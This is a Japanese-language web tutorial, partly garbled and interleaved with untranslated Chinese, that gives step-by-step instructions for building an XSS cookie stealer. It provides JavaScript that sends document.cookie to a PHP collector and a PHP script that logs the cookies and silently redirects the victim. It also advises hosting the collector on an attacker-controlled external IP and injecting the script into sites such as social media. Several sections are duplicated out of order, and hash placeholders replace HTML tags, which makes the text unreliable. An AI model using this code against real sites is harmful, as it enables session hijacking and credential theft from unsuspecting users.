ホームページ  >  記事  >  ウェブフロントエンド  >  XSSクッキースティーラーをJSで記述してパスワードを盗む方法を詳しく解説

XSSクッキースティーラーをJSで記述してパスワードを盗む方法を詳しく解説

小云云
小云云オリジナル
2017-12-18 14:36:292080ブラウズ

この記事では、JS で XSS Cookie スティーラーを作成してパスワードを盗む詳細な手順を主に紹介します。必要な方は参考にしていただければ幸いです。 JavaScript は、Web で最も一般的に使用されているスクリプト開発言語です。JS は、サイト コンポーネントを自動的に実行し、サイト コンテンツを管理し、Web 業界でその他の便利な機能を実装できます。 JS には、パスワードやその他のコンテンツを含むユーザー Cookie を盗むなど、悪意のある目的に使用できる機能が多数含まれている可能性があります。

Cookie は、サイトが訪問した特定のページに対してリクエストし、維持する情報です。 Cookieには、アクセス方法、時刻、ユーザー名、パスワードなどの認証情報が含まれています。ユーザーが特定のサイトにアクセスするときは Cookie を使用する必要がありますが、攻撃者が Cookie を傍受できる場合、Cookie を使用してユーザーの情報の一部が盗まれる可能性があります。特定のドメイン名については、JS を使用してユーザーの Cookie を保存または変更できます。言い換えれば、攻撃者が JS を使用して Cookie を表示および変更できる場合、これは貴重なハッキング手法となる可能性があります。

JS ベースの攻撃は、コード インジェクションなどの手法と効果的に組み合わせることができ、信頼できる Web サイトで悪意のあるコードが実行される可能性があります。

XSS Cookie スティーラーの作成を始めましょう

ステップ 1: HTML テスト ページを作成します

まず、標準 HTML ページを作成します


mkdir cookiestealer
cd cookiestealer
touch index.html

次に、index.html

を編集します


nano index.html
<html>
<body>
</body>
</html>

テストページ

ステップ 2: Cookie を作成する

Cookie に挿入できる基本パラメーター (文字列) を作成します。同様に、この Cookie はこのページでのみ使用できます。その後の挿入も、このページに保存されているすべての Cookie に適用されます。


 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

このスクリプトは、次のように HTML の 6c04bd5ca3fcae76e30b72ad730ca86d セクションに挿入する必要があります:

スクリプトを実行するページが開かれると、Cookie は設定されますが、何も表示されません。ブラウザの事で。 document.write 関数を使用して Cookie を直接表示できます。


document.write(document.cookie);

同じ機能を持つスクリプトは次のとおりです:


 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

ブラウザでページを開くと、次のCookie情報が表示されます:

このページ「username=Null Byte」Cookie が正常に設定されました。 username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。


document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中:


HTML页面代码应该是下面这样:

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中,窃取cookie的PHP文件是cookiestealer.php,位于127.0.0.1网址下。

在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部IP或URL下。

首先,在index.html相同目录下创新PHP文件。

nano cookiestealer.php

ステップ 3: js スクリプトを使用して cookie を盗む


サーバーに cookie を渡すために使用する js 文字列は document.cookie パラメーターを使用しますが、document.location で定義された URL を使用します。

<?php
header (&#39;Location:https://google.com&#39;);
?>
この例では、PHP ファイルはローカルホスト (127.0.0.1) にあります。

ターゲットがソーシャルメディア Web サイトの場合、スクリプトをサイトに挿入し、盗んだ Cookie をハッカーが制御する IP または URL に送信する必要があります。 js コードを 3f1c4e4b6b16bbbd69b2ee476dc4f83a タグに挿入します:

$cookies = $_GET"c";
HTML ページのコードは次のようになります:


Cookie の処理の残りの部分を処理するには PHP が必要です。

ステップ 4: PHP で Cookie を処理する

上の例では、Cookie を盗む PHP ファイルは、URL 127.0.0.1 の下にある cookiestealer.php です。

実際の運用では、cookiestealer.php のようなわかりやすい名前は使用できず、外部 IP または URL の下に配置する必要があります。

まず、index.htmlと同じディレクトリにPHPファイルを作成します。

nano cookiestealer.php


定義する必要がある最初の要素は、リダイレクト ページ ジャンプです。

🎜
 $file = fopen(&#39;log.txt&#39;, &#39;a&#39;);
🎜 攻撃を受けている可能性をユーザーに気づかせないようにするには、同じドメイン内の他のページにユーザーをリダイレクトして気づかれないようにするのが最善です。 🎜🎜🎜🎜🎜🎜🎜リダイレクトが完了したら、Cookie を処理するために追加のコードが必要になります。 🎜🎜🎜🎜🎜 1. Cookie を変数に割り当てます。 2. このファイルを保存するファイルを定義します。 🎜🎜🎜この例では、ファイル名は log.txt です。 🎜🎜🎜🎜
fwrite($file, $cookies . "nn");
🎜3. 上記 2 つのパラメータの内容をログ ファイルに書き込みます。つまり、Cookie を log.txt に書き込みます。 🎜🎜🎜🎜
<script>alert("Alert");</script>
🎜 コードは次のとおりです:🎜

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

页面测试成功。

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中。常用的检测XSS的方法是使用alert。


<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

相关推荐:

php利用httponly防xss攻击

推荐10款防XSS特效(收藏)

关于wxss的10篇文章推荐

以上がXSSクッキースティーラーをJSで記述してパスワードを盗む方法を詳しく解説の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。